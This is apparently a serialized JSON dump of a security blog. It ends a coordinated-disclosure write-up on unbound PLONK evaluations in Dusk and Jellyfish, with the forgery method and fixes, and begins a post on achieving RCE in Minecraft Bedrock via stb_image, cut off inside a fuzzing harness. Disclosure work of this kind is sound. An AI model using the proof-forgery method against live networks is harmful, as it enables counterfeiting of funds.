(",{"type":26,"tag":116,"props":145967,"children":145970},{"href":145968,"rel":145969},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[120],[145971],{"type":32,"value":145972},"preverify path",{"type":32,"value":145974},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":26,"tag":181,"props":145976,"children":145977},{},[145978,145983,145988],{"type":26,"tag":86,"props":145979,"children":145980},{},[145981],{"type":32,"value":145982},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":26,"tag":86,"props":145984,"children":145985},{},[145986],{"type":32,"value":145987},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":26,"tag":86,"props":145989,"children":145990},{},[145991],{"type":32,"value":145992},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":26,"tag":35,"props":145994,"children":145995},{},[145996],{"type":32,"value":145997},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":26,"tag":181,"props":145999,"children":146000},{},[146001,146006,146016,146028,146033],{"type":26,"tag":86,"props":146002,"children":146003},{},[146004],{"type":32,"value":146005},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":26,"tag":86,"props":146007,"children":146008},{},[146009,146011],{"type":32,"value":146010},"The malicious wallet forges a PLONK proof to create ",{"type":26,"tag":105,"props":146012,"children":146013},{},[146014],{"type":32,"value":146015},"2000 DUSK from nothing",{"type":26,"tag":86,"props":146017,"children":146018},{},[146019,146021,146026],{"type":32,"value":146020},"The malicious wallet transfers ",{"type":26,"tag":105,"props":146022,"children":146023},{},[146024],{"type":32,"value":146025},"1337 DUSK",{"type":32,"value":146027}," to the honest wallet using a normal (honestly-proved) transaction",{"type":26,"tag":86,"props":146029,"children":146030},{},[146031],{"type":32,"value":146032},"The honest node validates both transactions and mines them into blocks",{"type":26,"tag":86,"props":146034,"children":146035},{},[146036],{"type":32,"value":146037},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":26,"tag":35,"props":146039,"children":146040},{},[146041],{"type":26,"tag":132,"props":146042,"children":146045},{"alt":146043,"src":146044},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":26,"tag":35,"props":146047,"children":146048},{},[146049,146051,146057,146059,146066],{"type":32,"value":146050},"At the time of discovery, DUSK's market cap was roughly ",{"type":26,"tag":116,"props":146052,"children":146054},{"href":141352,"rel":146053},[120],[146055],{"type":32,"value":146056},"~60M",{"type":32,"value":146058},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":26,"tag":116,"props":146060,"children":146063},{"href":146061,"rel":146062},"https://neptune.cash/articles/critical-vulnerability-disclosure",[120],[146064],{"type":32,"value":146065},"Triton VM vulnerability",{"type":32,"value":353},{"type":26,"tag":18502,"props":146068,"children":146069},{},[],{"type":26,"tag":27,"props":146071,"children":146073},{"id":146072},"the-fix",[146074],{"type":32,"value":146075},"The fix",{"type":26,"tag":35,"props":146077,"children":146078},{},[146079],{"type":32,"value":146080},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":26,"tag":82,"props":146082,"children":146083},{},[146084,146129],{"type":26,"tag":86,"props":146085,"children":146086},{},[146087,146089,146100,146102,146108,146109,146115,146116,146122,146123],{"type":32,"value":146088},"Extend ",{"type":26,"tag":116,"props":146090,"children":146093},{"href":146091,"rel":146092},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[120],[146094],{"type":26,"tag":53,"props":146095,"children":146097},{"className":146096},[],[146098],{"type":32,"value":146099},"compute_aggregate_witness",{"type":32,"value":146101}," on the prover side to also include ",{"type":26,"tag":53,"props":146103,"children":146105},{"className":146104},[],[146106],{"type":32,"value":146107},"q_arith",{"type":32,"value":637},{"type":26,"tag":53,"props":146110,"children":146112},{"className":146111},[],[146113],{"type":32,"value":146114},"q_c",{"type":32,"value":637},{"type":26,"tag":53,"props":146117,"children":146119},{"className":146118},[],[146120],{"type":32,"value":146121},"q_l",{"type":32,"value":6201},{"type":26,"tag":53,"props":146124,"children":146126},{"className":146125},[],[146127],{"type":32,"value":146128},"q_r",{"type":26,"tag":86,"props":146130,"children":146131},{},[146132,146134,146144],{"type":32,"value":146133},"Add their evaluations to ",{"type":26,"tag":116,"props":146135,"children":146138},{"href":146136,"rel":146137},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[120],[146139],{"type":26,"tag":53,"props":146140,"children":146142},{"className":146141},[],[146143],{"type":32,"value":145246},{"type":32,"value":146145}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":26,"tag":35,"props":146147,"children":146148},{},[146149,146151,146158],{"type":32,"value":146150},"This was done in ",{"type":26,"tag":116,"props":146152,"children":146155},{"href":146153,"rel":146154},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[120],[146156],{"type":32,"value":146157},"commit 645265b7",{"type":32,"value":146159},", which landed on February 14, 2026.",{"type":26,"tag":18502,"props":146161,"children":146162},{},[],{"type":26,"tag":27,"props":146164,"children":146166},{"id":146165},"why-was-this-missed",[146167],{"type":32,"value":146168},"Why was this missed?",{"type":26,"tag":35,"props":146170,"children":146171},{},[146172,146174,146181,146182,146189,146191,146198,146200,146207],{"type":32,"value":146173},"Dusk's stack had been heavily audited: a ",{"type":26,"tag":116,"props":146175,"children":146178},{"href":146176,"rel":146177},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[120],[146179],{"type":32,"value":146180},"December 2023 audit of dusk-plonk",{"type":32,"value":123822},{"type":26,"tag":116,"props":146183,"children":146186},{"href":146184,"rel":146185},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[120],[146187],{"type":32,"value":146188},"September 2024 audit of Phoenix",{"type":32,"value":146190},", and a ",{"type":26,"tag":116,"props":146192,"children":146195},{"href":146193,"rel":146194},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[120],[146196],{"type":32,"value":146197},"September 2024 Oak Security audit of the Rusk node library",{"type":32,"value":146199},". Dusk's public ",{"type":26,"tag":116,"props":146201,"children":146204},{"href":146202,"rel":146203},"https://dusk.network/news/audits-overview",[120],[146205],{"type":32,"value":146206},"audits overview",{"type":32,"value":146208}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":26,"tag":35,"props":146210,"children":146211},{},[146212,146214,146219],{"type":32,"value":146213},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":26,"tag":2615,"props":146215,"children":146216},{},[146217],{"type":32,"value":146218},"evaluations",{"type":32,"value":353},{"type":26,"tag":35,"props":146221,"children":146222},{},[146223],{"type":32,"value":146224},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":26,"tag":35,"props":146226,"children":146227},{},[146228],{"type":32,"value":146229},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":26,"tag":27,"props":146231,"children":146233},{"id":146232},"a-similar-bug-in-espresso-systems-jellyfish",[146234],{"type":32,"value":146235},"A similar bug in Espresso Systems' Jellyfish",{"type":26,"tag":35,"props":146237,"children":146238},{},[146239,146241,146248],{"type":32,"value":146240},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":26,"tag":116,"props":146242,"children":146245},{"href":146243,"rel":146244},"https://github.com/EspressoSystems/jellyfish/",[120],[146246],{"type":32,"value":146247},"jf-plonk",{"type":32,"value":146249}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":26,"tag":35,"props":146251,"children":146252},{},[146253,146255,146262,146264,146275,146277,146302,146304,146329],{"type":32,"value":146254},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":26,"tag":116,"props":146256,"children":146259},{"href":146257,"rel":146258},"https://eprint.iacr.org/2020/315",[120],[146260],{"type":32,"value":146261},"Plookup",{"type":32,"value":146263}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":26,"tag":116,"props":146265,"children":146268},{"href":146266,"rel":146267},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[120],[146269],{"type":26,"tag":53,"props":146270,"children":146272},{"className":146271},[],[146273],{"type":32,"value":146274},"append_plookup_evaluations",{"type":32,"value":146276}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":26,"tag":53,"props":146278,"children":146280},{"className":146279},[3691,3692],[146281],{"type":26,"tag":475,"props":146282,"children":146284},{"className":146283},[3697],[146285],{"type":26,"tag":475,"props":146286,"children":146288},{"className":146287,"ariaHidden":3703},[3702],[146289],{"type":26,"tag":475,"props":146290,"children":146292},{"className":146291},[3708],[146293,146297],{"type":26,"tag":475,"props":146294,"children":146296},{"className":146295,"style":110320},[3713],[],{"type":26,"tag":475,"props":146298,"children":146300},{"className":146299,"style":93153},[3719,21296],[146301],{"type":32,"value":113383},{"type":32,"value":146303}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":26,"tag":53,"props":146305,"children":146307},{"className":146306},[3691,3692],[146308],{"type":26,"tag":475,"props":146309,"children":146311},{"className":146310},[3697],[146312],{"type":26,"tag":475,"props":146313,"children":146315},{"className":146314,"ariaHidden":3703},[3702],[146316],{"type":26,"tag":475,"props":146317,"children":146319},{"className":146318},[3708],[146320,146324],{"type":26,"tag":475,"props":146321,"children":146323},{"className":146322,"style":110320},[3713],[],{"type":26,"tag":475,"props":146325,"children":146327},{"className":146326,"style":93153},[3719,21296],[146328],{"type":32,"value":113383},{"type":32,"value":146330},", so the prover can adjust them after the fact to make the check pass.",{"type":26,"tag":35,"props":146332,"children":146333},{},[146334,146336,146342,146344,146350],{"type":32,"value":146335},"The attack requires modifying a single evaluation (",{"type":26,"tag":53,"props":146337,"children":146339},{"className":146338},[],[146340],{"type":32,"value":146341},"key_table_next_eval",{"type":32,"value":146343},") by ",{"type":26,"tag":53,"props":146345,"children":146347},{"className":146346},[],[146348],{"type":32,"value":146349},"delta / (u * v^3)",{"type":32,"value":146351}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":26,"tag":35,"props":146353,"children":146354},{},[146355,146357,146364,146366,146377],{"type":32,"value":146356},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":26,"tag":116,"props":146358,"children":146361},{"href":146359,"rel":146360},"https://github.com/EspressoSystems/jellyfish/pull/867",[120],[146362],{"type":32,"value":146363},"PR #867",{"type":32,"value":146365}," fixed the issue and was tagged as ",{"type":26,"tag":116,"props":146367,"children":146370},{"href":146368,"rel":146369},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[120],[146371],{"type":26,"tag":53,"props":146372,"children":146374},{"className":146373},[],[146375],{"type":32,"value":146376},"jf-plonk-v0.8.0",{"type":32,"value":146378}," on March 18, 2026.",{"type":26,"tag":18502,"props":146380,"children":146381},{},[],{"type":26,"tag":27,"props":146383,"children":146385},{"id":146384},"toward-standardization",[146386],{"type":32,"value":146387},"Toward standardization",{"type":26,"tag":35,"props":146389,"children":146390},{},[146391,146393,146400],{"type":32,"value":146392},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":26,"tag":116,"props":146394,"children":146397},{"href":146395,"rel":146396},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[120],[146398],{"type":32,"value":146399},"similar patterns appear across zkVMs",{"type":32,"value":146401},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":26,"tag":35,"props":146403,"children":146404},{},[146405],{"type":32,"value":146406},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":26,"tag":35,"props":146408,"children":146409},{},[146410],{"type":32,"value":146411},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":26,"tag":27,"props":146413,"children":146414},{"id":60515},[146415],{"type":32,"value":146416},"Disclosure timeline",{"type":26,"tag":55436,"props":146418,"children":146419},{},[146420,146436],{"type":26,"tag":122430,"props":146421,"children":146422},{},[146423],{"type":26,"tag":122434,"props":146424,"children":146425},{},[146426,146431],{"type":26,"tag":122438,"props":146427,"children":146428},{},[146429],{"type":32,"value":146430},"Date",{"type":26,"tag":122438,"props":146432,"children":146433},{},[146434],{"type":32,"value":146435},"Event",{"type":26,"tag":122458,"props":146437,"children":146438},{},[146439,146452,146465,146477,146503,146523],{"type":26,"tag":122434,"props":146440,"children":146441},{},[146442,146447],{"type":26,"tag":122465,"props":146443,"children":146444},{},[146445],{"type":32,"value":146446},"2026-02-13",{"type":26,"tag":122465,"props":146448,"children":146449},{},[146450],{"type":32,"value":146451},"Dusk vulnerability reported",{"type":26,"tag":122434,"props":146453,"children":146454},{},[146455,146460],{"type":26,"tag":122465,"props":146456,"children":146457},{},[146458],{"type":32,"value":146459},"2026-02-14",{"type":26,"tag":122465,"props":146461,"children":146462},{},[146463],{"type":32,"value":146464},"Dusk acknowledged",{"type":26,"tag":122434,"props":146466,"children":146467},{},[146468,146472],{"type":26,"tag":122465,"props":146469,"children":146470},{},[146471],{"type":32,"value":146459},{"type":26,"tag":122465,"props":146473,"children":146474},{},[146475],{"type":32,"value":146476},"Dusk fix committed",{"type":26,"tag":122434,"props":146478,"children":146479},{},[146480,146485],{"type":26,"tag":122465,"props":146481,"children":146482},{},[146483],{"type":32,"value":146484},"2026-02-27",{"type":26,"tag":122465,"props":146486,"children":146487},{},[146488,146490,146501],{"type":32,"value":146489},"Public ",{"type":26,"tag":116,"props":146491,"children":146494},{"href":146492,"rel":146493},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[120],[146495],{"type":26,"tag":53,"props":146496,"children":146498},{"className":146497},[],[146499],{"type":32,"value":146500},"dusk-rusk-1.6.0",{"type":32,"value":146502}," release published",{"type":26,"tag":122434,"props":146504,"children":146505},{},[146506,146511],{"type":26,"tag":122465,"props":146507,"children":146508},{},[146509],{"type":32,"value":146510},"2026-03-16",{"type":26,"tag":122465,"props":146512,"children":146513},{},[146514,146516,146522],{"type":32,"value":146515},"Jellyfish fix PR opened (",{"type":26,"tag":116,"props":146517,"children":146519},{"href":146359,"rel":146518},[120],[146520],{"type":32,"value":146521},"#867",{"type":32,"value":2835},{"type":26,"tag":122434,"props":146524,"children":146525},{},[146526,146531],{"type":26,"tag":122465,"props":146527,"children":146528},{},[146529],{"type":32,"value":146530},"2026-03-18",{"type":26,"tag":122465,"props":146532,"children":146533},{},[146534,146536,146541,146543],{"type":32,"value":146535},"Jellyfish fix merged in ",{"type":26,"tag":116,"props":146537,"children":146539},{"href":146359,"rel":146538},[120],[146540],{"type":32,"value":146521},{"type":32,"value":146542}," and tagged as ",{"type":26,"tag":116,"props":146544,"children":146546},{"href":146368,"rel":146545},[120],[146547],{"type":26,"tag":53,"props":146548,"children":146550},{"className":146549},[],[146551],{"type":32,"value":146376},{"type":26,"tag":27,"props":146553,"children":146555},{"id":146554},"acknowledgements",[146556],{"type":32,"value":146557},"Acknowledgements",{"type":26,"tag":35,"props":146559,"children":146560},{},[146561],{"type":32,"value":146562},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":516,"depth":516,"links":146564},[146565,146572,146573,146574,146575,146576,146577,146578,146579,146580,146581,146582],{"id":141382,"depth":516,"text":141385,"children":146566},[146567,146568,146569,146570,146571],{"id":141407,"depth":539,"text":141410},{"id":142210,"depth":539,"text":142213},{"id":143408,"depth":539,"text":143411},{"id":143438,"depth":539,"text":143441},{"id":143719,"depth":539,"text":143722},{"id":144452,"depth":516,"text":144455},{"id":144590,"depth":516,"text":144593},{"id":89921,"depth":516,"text":145221},{"id":145820,"depth":516,"text":145823},{"id":145957,"depth":516,"text":145960},{"id":146072,"depth":516,"text":146075},{"id":146165,"depth":516,"text":146168},{"id":146232,"depth":516,"text":146235},{"id":146384,"depth":516,"text":146387},{"id":60515,"depth":516,"text":146416},{"id":146554,"depth":516,"text":146557},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":146587,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":146588,"description":146589,"date":146590,"author":123089,"image":146591,"isFeatured":18,"onBlogPage":18,"tags":146593,"body":146596,"_type":2566,"_id":155976,"_source":2568,"_file":155977,"_stem":155978,"_extension":2571},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":146592,"width":16,"height":17},"/posts/minecraft-heap-overflow-to-rce/title.png",[146594,146595],"minecraft","rce",{"type":23,"children":146597,"toc":155953},[146598,146603,146608,146613,146619,146624,146643,146648,146654,146659,146664,146670,146675,146680,146685,146691,146696,146701,146707,146727,146739,146746,146768,146782,146789,146795,146805,146825,146830,146836,146849,147194,147199,147207,147213,147232,147540,147568,147611,147623,147631,147636,148105,148124,148145,148487,148511,148783,148807,148834,149043,149062,149070,149089,149095,149157,149160,149182,149186,149191,149196,149202,149207,149221,149227,149241,149247,149260,149265,149273,149278,149284,149305,149313,149326,149329,149334,149348,149353,149358,149364,149369,149392,149397,149403,149408,149420,149432,149546,149566,149571,149576,149582,149587,149607,150222,150235,151309,151314,151322,151327,151333,151338,151346,151359,151364,151369,151376,151389,151394,151401,151456,151476,151483,151502,151509,151512,151517,151522,151528,151540,151553,151561,151632,151643,151677,151685,151690,151695,151701,151713,151732,151744,151749,151757,151776,151784,151803,151811,151837,151845,151850,151858,151863,151871,151874,151879,151884,151890,151903,151921,151959,151989,151997,152002,152008,152013,152018,152024,152036,152205,152217,152225,152230,152237,152242,152303,152350,152362,152367,152393,152467,152505,152510,152518,152539,152544,152570,152604,152657,152704,152710,152729,152761,152769,152872,152943,152949,152975,152982,152987,152994,152999,153240,153266,153271,153319,153324,153330,153362,153374,153406,153414,153453,153461,153466,153474,153479,153487,153499,153507,153519,153527,153539,153559,153565,153585,153602,153610,153622,153630,153649,153654,153662,153667,153675,153701,153712,153719,153724,153732,153737,153745,153750,153758,153763,153771,153776,153784,153789,153797,153838,153845,153850,153858,153863,153871,153876,153884,153889,153894,153902,153907,153915,153941,153949,153975,153983,153988,153996,154001,154009,154017,154022,154030,154035,154043,154046,154057,154091,154109,154117,154137,154143,154162,154220,154240,154248,154251,154290,154350,154355,154361,154374,154382,154434,154473,154481,154514,154517,154537,154545,154551,154556,154564,154604,154645,154665,154670,154675,154693,154699,154704,154723,154784,154792,154818,154824,154844,154849,154854,154861,154926,154931,154938,154959,154964,154976,154982,155015,155022,155027,155055,155062,155118,155130,155137,155198,155217,155223,155257,155278,155305,155313,155366,155436,155442,155462,155505,155510,155908,155914,155919,155930,155934,155939,155944,155949],{"type":26,"tag":35068,"props":146599,"children":146601},{"id":146600},"pwning-minecraft-4-byte-heap-overflow-to-rce",[146602],{"type":32,"value":146588},{"type":26,"tag":35,"props":146604,"children":146605},{},[146606],{"type":32,"value":146607},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":26,"tag":35,"props":146609,"children":146610},{},[146611],{"type":32,"value":146612},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":26,"tag":27,"props":146614,"children":146616},{"id":146615},"the-target",[146617],{"type":32,"value":146618},"The Target",{"type":26,"tag":35,"props":146620,"children":146621},{},[146622],{"type":32,"value":146623},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":26,"tag":35,"props":146625,"children":146626},{},[146627,146629,146634,146636,146641],{"type":32,"value":146628},"There are two main editions: ",{"type":26,"tag":105,"props":146630,"children":146631},{},[146632],{"type":32,"value":146633},"Minecraft Java Edition",{"type":32,"value":146635},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":26,"tag":105,"props":146637,"children":146638},{},[146639],{"type":32,"value":146640},"Minecraft Bedrock Edition",{"type":32,"value":146642},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":26,"tag":35,"props":146644,"children":146645},{},[146646],{"type":32,"value":146647},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":26,"tag":41,"props":146649,"children":146651},{"id":146650},"choice-of-context",[146652],{"type":32,"value":146653},"Choice of Context",{"type":26,"tag":35,"props":146655,"children":146656},{},[146657],{"type":32,"value":146658},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":26,"tag":35,"props":146660,"children":146661},{},[146662],{"type":32,"value":146663},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":26,"tag":41,"props":146665,"children":146667},{"id":146666},"resource-packs",[146668],{"type":32,"value":146669},"Resource Packs",{"type":26,"tag":35,"props":146671,"children":146672},{},[146673],{"type":32,"value":146674},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":26,"tag":35,"props":146676,"children":146677},{},[146678],{"type":32,"value":146679},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":26,"tag":35,"props":146681,"children":146682},{},[146683],{"type":32,"value":146684},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":26,"tag":27,"props":146686,"children":146688},{"id":146687},"finding-a-memory-corruption-bug",[146689],{"type":32,"value":146690},"Finding a Memory Corruption Bug",{"type":26,"tag":35,"props":146692,"children":146693},{},[146694],{"type":32,"value":146695},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":26,"tag":35,"props":146697,"children":146698},{},[146699],{"type":32,"value":146700},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":26,"tag":41,"props":146702,"children":146704},{"id":146703},"locating-image-parsing-code",[146705],{"type":32,"value":146706},"Locating Image Parsing Code",{"type":26,"tag":35,"props":146708,"children":146709},{},[146710,146712,146718,146719,146725],{"type":32,"value":146711},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":26,"tag":53,"props":146713,"children":146715},{"className":146714},[],[146716],{"type":32,"value":146717},"PNG",{"type":32,"value":455},{"type":26,"tag":53,"props":146720,"children":146722},{"className":146721},[],[146723],{"type":32,"value":146724},"GIF",{"type":32,"value":146726}," and look for error logging or other messages that use those substrings.",{"type":26,"tag":35,"props":146728,"children":146729},{},[146730,146732,146737],{"type":32,"value":146731},"Searching for the string ",{"type":26,"tag":53,"props":146733,"children":146735},{"className":146734},[],[146736],{"type":32,"value":146724},{"type":32,"value":146738}," returned some interesting results:",{"type":26,"tag":35,"props":146740,"children":146741},{},[146742],{"type":26,"tag":132,"props":146743,"children":146745},{"alt":134,"src":146744},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":26,"tag":35,"props":146747,"children":146748},{},[146749,146751,146758,146760,146767],{"type":32,"value":146750},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":26,"tag":116,"props":146752,"children":146755},{"href":146753,"rel":146754},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[120],[146756],{"type":32,"value":146757},"stb_image.h",{"type":32,"value":146759},". For an example: usage of ",{"type":26,"tag":116,"props":146761,"children":146764},{"href":146762,"rel":146763},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[120],[146765],{"type":32,"value":146766},"bad Image Descriptor",{"type":32,"value":353},{"type":26,"tag":35,"props":146769,"children":146770},{},[146771,146773,146780],{"type":32,"value":146772},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":26,"tag":116,"props":146774,"children":146777},{"href":146775,"rel":146776},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[120],[146778],{"type":32,"value":146779},"stbi__gif_load_next",{"type":32,"value":146781},", and loaded the resource pack - this confirmed its usage:",{"type":26,"tag":35,"props":146783,"children":146784},{},[146785],{"type":26,"tag":132,"props":146786,"children":146788},{"alt":134,"src":146787},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":26,"tag":41,"props":146790,"children":146792},{"id":146791},"stb-image-library",[146793],{"type":32,"value":146794},"STB Image Library",{"type":26,"tag":35,"props":146796,"children":146797},{},[146798,146803],{"type":26,"tag":53,"props":146799,"children":146801},{"className":146800},[],[146802],{"type":32,"value":146757},{"type":32,"value":146804}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":26,"tag":35,"props":146806,"children":146807},{},[146808,146810,146815,146817,146824],{"type":32,"value":146809},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":26,"tag":53,"props":146811,"children":146813},{"className":146812},[],[146814],{"type":32,"value":146757},{"type":32,"value":146816}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":26,"tag":116,"props":146818,"children":146821},{"href":146819,"rel":146820},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[120],[146822],{"type":32,"value":146823},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":32,"value":353},{"type":26,"tag":35,"props":146826,"children":146827},{},[146828],{"type":32,"value":146829},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":26,"tag":70,"props":146831,"children":146833},{"id":146832},"fuzzing",[146834],{"type":32,"value":146835},"Fuzzing",{"type":26,"tag":35,"props":146837,"children":146838},{},[146839,146841,146848],{"type":32,"value":146840},"The fuzzer consisted of a very simple ",{"type":26,"tag":116,"props":146842,"children":146845},{"href":146843,"rel":146844},"https://github.com/AFLplusplus/AFLplusplus",[120],[146846],{"type":32,"value":146847},"AFL++",{"type":32,"value":26442},{"type":26,"tag":465,"props":146850,"children":146852},{"code":146851,"language":2854,"meta":7,"className":16220,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n int x, y, comp;\n unsigned char *ret;\n\n if (argc != 2) {\n return 1;\n }\n\n ret = stbi_load(argv[1], &x, &y, &comp, 0);\n if (ret == NULL) {\n return 1;\n }\n \n stbi_image_free(ret);\n\n return 0;\n}\n",[146853],{"type":26,"tag":53,"props":146854,"children":146855},{"__ignoreMap":7},[146856,146869,146881,146888,146934,146946,146967,146974,146998,147013,147020,147027,147099,147123,147138,147145,147152,147165,147172,147187],{"type":26,"tag":475,"props":146857,"children":146858},{"class":477,"line":478},[146859,146864],{"type":26,"tag":475,"props":146860,"children":146861},{"style":586},[146862],{"type":32,"value":146863},"#define",{"type":26,"tag":475,"props":146865,"children":146866},{"style":493},[146867],{"type":32,"value":146868}," STB_IMAGE_IMPLEMENTATION\n",{"type":26,"tag":475,"props":146870,"children":146871},{"class":477,"line":516},[146872,146876],{"type":26,"tag":475,"props":146873,"children":146874},{"style":586},[146875],{"type":32,"value":90035},{"type":26,"tag":475,"props":146877,"children":146878},{"style":629},[146879],{"type":32,"value":146880}," 